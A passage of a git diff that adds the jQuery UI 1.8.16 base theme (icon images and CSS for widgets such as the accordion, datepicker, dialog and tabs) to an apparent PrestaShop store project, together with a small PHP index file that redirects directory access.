b/js/jquery/ui/themes/base/images/ui-icons_2e83ff_256x240.png new file mode 100755 index 0000000..45e8928 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-icons_2e83ff_256x240.png differ diff --git a/js/jquery/ui/themes/base/images/ui-icons_454545_256x240.png b/js/jquery/ui/themes/base/images/ui-icons_454545_256x240.png new file mode 100755 index 0000000..7ec70d1 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-icons_454545_256x240.png differ diff --git a/js/jquery/ui/themes/base/images/ui-icons_888888_256x240.png b/js/jquery/ui/themes/base/images/ui-icons_888888_256x240.png new file mode 100755 index 0000000..5ba708c Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-icons_888888_256x240.png differ diff --git a/js/jquery/ui/themes/base/images/ui-icons_cd0a0a_256x240.png b/js/jquery/ui/themes/base/images/ui-icons_cd0a0a_256x240.png new file mode 100755 index 0000000..7930a55 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-icons_cd0a0a_256x240.png differ diff --git a/js/jquery/ui/themes/base/index.php b/js/jquery/ui/themes/base/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/ui/themes/base/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/ui/themes/base/jquery.ui.accordion.css b/js/jquery/ui/themes/base/jquery.ui.accordion.css new file mode 100755 index 0000000..327beb5 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.accordion.css @@ -0,0 +1,19 @@ +/* + * jQuery UI Accordion 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Accordion#theming + */ +/* IE/Win - Fix animation bug - #4615 */ +.ui-accordion { width: 100%; } +.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } +.ui-accordion .ui-accordion-li-fix { display: inline; } +.ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } +.ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } +.ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } +.ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } +.ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } +.ui-accordion .ui-accordion-content-active { display: block; } diff --git a/js/jquery/ui/themes/base/jquery.ui.all.css b/js/jquery/ui/themes/base/jquery.ui.all.css new file mode 100755 index 0000000..bf68bc4 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.all.css @@ -0,0 +1,11 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming + */ +@import "jquery.ui.base.css"; +@import "jquery.ui.theme.css"; diff --git a/js/jquery/ui/themes/base/jquery.ui.autocomplete.css b/js/jquery/ui/themes/base/jquery.ui.autocomplete.css new file mode 100755 index 0000000..6de6867 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.autocomplete.css @@ -0,0 +1,53 @@ +/* + * jQuery UI Autocomplete 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete#theming + */ +.ui-autocomplete { position: absolute; cursor: default; } + +/* workarounds */ +* html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ + +/* + * jQuery UI Menu 1.8.16 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Menu#theming + */ +.ui-menu { + list-style:none; + padding: 2px; + margin: 0; + display:block; + float: left; +} +.ui-menu .ui-menu { + margin-top: -3px; +} +.ui-menu .ui-menu-item { + margin:0; + padding: 0; + zoom: 1; + float: left; + clear: left; + width: 100%; +} +.ui-menu .ui-menu-item a { + text-decoration:none; + display:block; + padding:.2em .4em; + line-height:1.5; + zoom:1; +} +.ui-menu .ui-menu-item a.ui-state-hover, +.ui-menu .ui-menu-item a.ui-state-active { + font-weight: normal; + margin: -1px; +} diff --git a/js/jquery/ui/themes/base/jquery.ui.base.css b/js/jquery/ui/themes/base/jquery.ui.base.css new file mode 100755 index 0000000..f52ee39 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.base.css @@ -0,0 +1,11 @@ +@import url("jquery.ui.core.css"); +@import url("jquery.ui.resizable.css"); +@import url("jquery.ui.selectable.css"); +@import url("jquery.ui.accordion.css"); +@import url("jquery.ui.autocomplete.css"); +@import url("jquery.ui.button.css"); +@import url("jquery.ui.dialog.css"); +@import url("jquery.ui.slider.css"); +@import url("jquery.ui.tabs.css"); +@import url("jquery.ui.datepicker.css"); +@import url("jquery.ui.progressbar.css"); \ No newline at end of file diff --git a/js/jquery/ui/themes/base/jquery.ui.button.css b/js/jquery/ui/themes/base/jquery.ui.button.css new file mode 100755 index 0000000..31c79f9 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.button.css @@ -0,0 +1,38 @@ +/* + * jQuery UI Button 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Button#theming + */ +.ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ +.ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ +button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ +.ui-button-icons-only { width: 3.4em; } +button.ui-button-icons-only { width: 3.7em; } + +/*button text element */ +.ui-button .ui-button-text { display: block; line-height: 1.4; } +.ui-button-text-only .ui-button-text { padding: .4em 1em; } +.ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } +.ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } +.ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } +.ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } +/* no icon support for input elements, provide padding by default */ +input.ui-button { padding: .4em 1em; } + +/*button icon element(s) */ +.ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } +.ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } +.ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } +.ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } +.ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } + +/*button sets*/ +.ui-buttonset { margin-right: 7px; } +.ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } + +/* workarounds */ +button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ diff --git a/js/jquery/ui/themes/base/jquery.ui.core.css b/js/jquery/ui/themes/base/jquery.ui.core.css new file mode 100755 index 0000000..375d4ad --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.core.css @@ -0,0 +1,41 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + */ + +/* Layout helpers +----------------------------------*/ +.ui-helper-hidden { display: none; } +.ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } +.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } +.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } +.ui-helper-clearfix { display: inline-block; } +/* required comment for clearfix to work in Opera \*/ +* html .ui-helper-clearfix { height:1%; } +.ui-helper-clearfix { display:block; } +/* end clearfix */ +.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } + + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { cursor: default !important; } + + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } + + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } diff --git a/js/jquery/ui/themes/base/jquery.ui.datepicker.css b/js/jquery/ui/themes/base/jquery.ui.datepicker.css new file mode 100755 index 0000000..28efc94 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.datepicker.css @@ -0,0 +1,68 @@ +/* + * jQuery UI Datepicker 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Datepicker#theming + */ +.ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } +.ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } +.ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } +.ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } +.ui-datepicker .ui-datepicker-prev { left:2px; } +.ui-datepicker .ui-datepicker-next { right:2px; } +.ui-datepicker .ui-datepicker-prev-hover { left:1px; } +.ui-datepicker .ui-datepicker-next-hover { right:1px; } +.ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } +.ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } +.ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } +.ui-datepicker select.ui-datepicker-month-year {width: 100%;} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { width: 49%;} +.ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } +.ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } +.ui-datepicker td { border: 0; padding: 1px; } +.ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } +.ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } +.ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { width:auto; } +.ui-datepicker-multi .ui-datepicker-group { float:left; } +.ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } +.ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } +.ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } +.ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } +.ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } + +/* RTL support */ +.ui-datepicker-rtl { direction: rtl; } +.ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } +.ui-datepicker-rtl .ui-datepicker-group { float:right; } +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } + +/* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ +.ui-datepicker-cover { + display: none; /*sorry for IE5*/ + display/**/: block; /*sorry for IE5*/ + position: absolute; /*must have*/ + z-index: -1; /*must have*/ + filter: mask(); /*must have*/ + top: -4px; /*must have*/ + left: -4px; /*must have*/ + width: 200px; /*must have*/ + height: 200px; /*must have*/ +} \ No newline at end of file diff --git a/js/jquery/ui/themes/base/jquery.ui.dialog.css b/js/jquery/ui/themes/base/jquery.ui.dialog.css new file mode 100755 index 0000000..1b95d7f --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.dialog.css @@ -0,0 +1,21 @@ +/* + * jQuery UI Dialog 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog#theming + */ +.ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } +.ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } +.ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } +.ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } +.ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } +.ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } +.ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } +.ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } +.ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } +.ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } +.ui-draggable .ui-dialog-titlebar { cursor: move; } diff --git a/js/jquery/ui/themes/base/jquery.ui.progressbar.css b/js/jquery/ui/themes/base/jquery.ui.progressbar.css new file mode 100755 index 0000000..e885ced --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.progressbar.css @@ -0,0 +1,11 @@ +/* + * jQuery UI Progressbar 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar#theming + */ +.ui-progressbar { height:2em; text-align: left; } +.ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; } \ No newline at end of file diff --git a/js/jquery/ui/themes/base/jquery.ui.resizable.css b/js/jquery/ui/themes/base/jquery.ui.resizable.css new file mode 100755 index 0000000..dc70679 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.resizable.css @@ -0,0 +1,20 @@ +/* + * jQuery UI Resizable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Resizable#theming + */ +.ui-resizable { position: relative;} +.ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } +.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } +.ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } +.ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } +.ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } +.ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } +.ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } +.ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } +.ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } +.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;} \ No newline at end of file diff --git a/js/jquery/ui/themes/base/jquery.ui.selectable.css b/js/jquery/ui/themes/base/jquery.ui.selectable.css new file mode 100755 index 0000000..2d505fb --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.selectable.css @@ -0,0 +1,10 @@ +/* + * jQuery UI Selectable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectable#theming + */ +.ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } diff --git a/js/jquery/ui/themes/base/jquery.ui.slider.css b/js/jquery/ui/themes/base/jquery.ui.slider.css new file mode 100755 index 0000000..982f42c --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.slider.css @@ -0,0 +1,24 @@ +/* + * jQuery UI Slider 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Slider#theming + */ +.ui-slider { position: relative; text-align: left; } +.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } +.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } + +.ui-slider-horizontal { height: .8em; } +.ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } +.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } +.ui-slider-horizontal .ui-slider-range-min { left: 0; } +.ui-slider-horizontal .ui-slider-range-max { right: 0; } + +.ui-slider-vertical { width: .8em; height: 100px; } +.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } +.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } +.ui-slider-vertical .ui-slider-range-min { bottom: 0; } +.ui-slider-vertical .ui-slider-range-max { top: 0; } \ No newline at end of file diff --git a/js/jquery/ui/themes/base/jquery.ui.tabs.css b/js/jquery/ui/themes/base/jquery.ui.tabs.css new file mode 100755 index 0000000..84d27b8 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.tabs.css @@ -0,0 +1,18 @@ +/* + * jQuery UI Tabs 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs#theming + */ +.ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ +.ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } +.ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } +.ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } +.ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ +.ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } +.ui-tabs .ui-tabs-hide { display: none !important; } diff --git a/js/jquery/ui/themes/base/jquery.ui.theme.css b/js/jquery/ui/themes/base/jquery.ui.theme.css new file mode 100755 index 0000000..b251cb7 --- /dev/null +++ b/js/jquery/ui/themes/base/jquery.ui.theme.css @@ -0,0 +1,248 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + * + * To view and modify this theme, visit http://jqueryui.com/themeroller/ + */ + + +/* Component containers +----------------------------------*/ +.ui-widget { font-family: Verdana,Arial,sans-serif/*{ffDefault}*/; font-size: 1.1em/*{fsDefault}*/; } +.ui-widget .ui-widget { font-size: 1em; } +.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Verdana,Arial,sans-serif/*{ffDefault}*/; font-size: 1em; } +.ui-widget-content { border: 1px solid #aaaaaa/*{borderColorContent}*/; background: #ffffff/*{bgColorContent}*/ url(images/ui-bg_flat_75_ffffff_40x100.png)/*{bgImgUrlContent}*/ 50%/*{bgContentXPos}*/ 50%/*{bgContentYPos}*/ repeat-x/*{bgContentRepeat}*/; color: #222222/*{fcContent}*/; } +.ui-widget-content a { color: #222222/*{fcContent}*/; } +.ui-widget-header { border: 1px solid #aaaaaa/*{borderColorHeader}*/; background: #cccccc/*{bgColorHeader}*/ url(images/ui-bg_highlight-soft_75_cccccc_1x100.png)/*{bgImgUrlHeader}*/ 50%/*{bgHeaderXPos}*/ 50%/*{bgHeaderYPos}*/ repeat-x/*{bgHeaderRepeat}*/; color: #222222/*{fcHeader}*/; font-weight: bold; } +.ui-widget-header a { color: #222222/*{fcHeader}*/; } + +/* Interaction states +----------------------------------*/ +.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #d3d3d3/*{borderColorDefault}*/; background: #e6e6e6/*{bgColorDefault}*/ url(images/ui-bg_glass_75_e6e6e6_1x400.png)/*{bgImgUrlDefault}*/ 50%/*{bgDefaultXPos}*/ 50%/*{bgDefaultYPos}*/ repeat-x/*{bgDefaultRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #555555/*{fcDefault}*/; } +.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555/*{fcDefault}*/; text-decoration: none; } +.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #999999/*{borderColorHover}*/; background: #dadada/*{bgColorHover}*/ url(images/ui-bg_glass_75_dadada_1x400.png)/*{bgImgUrlHover}*/ 50%/*{bgHoverXPos}*/ 50%/*{bgHoverYPos}*/ repeat-x/*{bgHoverRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #212121/*{fcHover}*/; } +.ui-state-hover a, .ui-state-hover a:hover { color: #212121/*{fcHover}*/; text-decoration: none; } +.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa/*{borderColorActive}*/; background: #ffffff/*{bgColorActive}*/ url(images/ui-bg_glass_65_ffffff_1x400.png)/*{bgImgUrlActive}*/ 50%/*{bgActiveXPos}*/ 50%/*{bgActiveYPos}*/ repeat-x/*{bgActiveRepeat}*/; font-weight: normal/*{fwDefault}*/; color: #212121/*{fcActive}*/; } +.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; color: #212121/*{fcActive}*/; text-decoration: none; } +.ui-widget :active { outline: none; } + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fcefa1/*{borderColorHighlight}*/; background: #fbf9ee/*{bgColorHighlight}*/ url(images/ui-bg_glass_55_fbf9ee_1x400.png)/*{bgImgUrlHighlight}*/ 50%/*{bgHighlightXPos}*/ 50%/*{bgHighlightYPos}*/ repeat-x/*{bgHighlightRepeat}*/; color: #363636/*{fcHighlight}*/; } +.ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636/*{fcHighlight}*/; } +.ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a/*{borderColorError}*/; background: #fef1ec/*{bgColorError}*/ url(images/ui-bg_glass_95_fef1ec_1x400.png)/*{bgImgUrlError}*/ 50%/*{bgErrorXPos}*/ 50%/*{bgErrorYPos}*/ repeat-x/*{bgErrorRepeat}*/; color: #cd0a0a/*{fcError}*/; } +.ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a/*{fcError}*/; } +.ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a/*{fcError}*/; } +.ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } +.ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } +.ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png)/*{iconsContent}*/; } +.ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png)/*{iconsContent}*/; } +.ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png)/*{iconsHeader}*/; } +.ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png)/*{iconsDefault}*/; } +.ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png)/*{iconsHover}*/; } +.ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png)/*{iconsActive}*/; } +.ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png)/*{iconsHighlight}*/; } +.ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cd0a0a_256x240.png)/*{iconsError}*/; } + +/* positioning */ +.ui-icon-carat-1-n { background-position: 0 0; } +.ui-icon-carat-1-ne { background-position: -16px 0; } +.ui-icon-carat-1-e { background-position: -32px 0; } +.ui-icon-carat-1-se { background-position: -48px 0; } +.ui-icon-carat-1-s { background-position: -64px 0; } +.ui-icon-carat-1-sw { background-position: -80px 0; } +.ui-icon-carat-1-w { background-position: -96px 0; } +.ui-icon-carat-1-nw { background-position: -112px 0; } +.ui-icon-carat-2-n-s { background-position: -128px 0; } +.ui-icon-carat-2-e-w { background-position: -144px 0; } +.ui-icon-triangle-1-n { background-position: 0 -16px; } +.ui-icon-triangle-1-ne { background-position: -16px -16px; } +.ui-icon-triangle-1-e { background-position: -32px -16px; } +.ui-icon-triangle-1-se { background-position: -48px -16px; } +.ui-icon-triangle-1-s { background-position: -64px -16px; } +.ui-icon-triangle-1-sw { background-position: -80px -16px; } +.ui-icon-triangle-1-w { background-position: -96px -16px; } +.ui-icon-triangle-1-nw { background-position: -112px -16px; } +.ui-icon-triangle-2-n-s { background-position: -128px -16px; } +.ui-icon-triangle-2-e-w { background-position: -144px -16px; } +.ui-icon-arrow-1-n { background-position: 0 -32px; } +.ui-icon-arrow-1-ne { background-position: -16px -32px; } +.ui-icon-arrow-1-e { background-position: -32px -32px; } +.ui-icon-arrow-1-se { background-position: -48px -32px; } +.ui-icon-arrow-1-s { background-position: -64px -32px; } +.ui-icon-arrow-1-sw { background-position: -80px -32px; } +.ui-icon-arrow-1-w { background-position: -96px -32px; } +.ui-icon-arrow-1-nw { background-position: -112px -32px; } +.ui-icon-arrow-2-n-s { background-position: -128px -32px; } +.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } +.ui-icon-arrow-2-e-w { background-position: -160px -32px; } +.ui-icon-arrow-2-se-nw { background-position: -176px -32px; } +.ui-icon-arrowstop-1-n { background-position: -192px -32px; } +.ui-icon-arrowstop-1-e { background-position: -208px -32px; } +.ui-icon-arrowstop-1-s { background-position: -224px 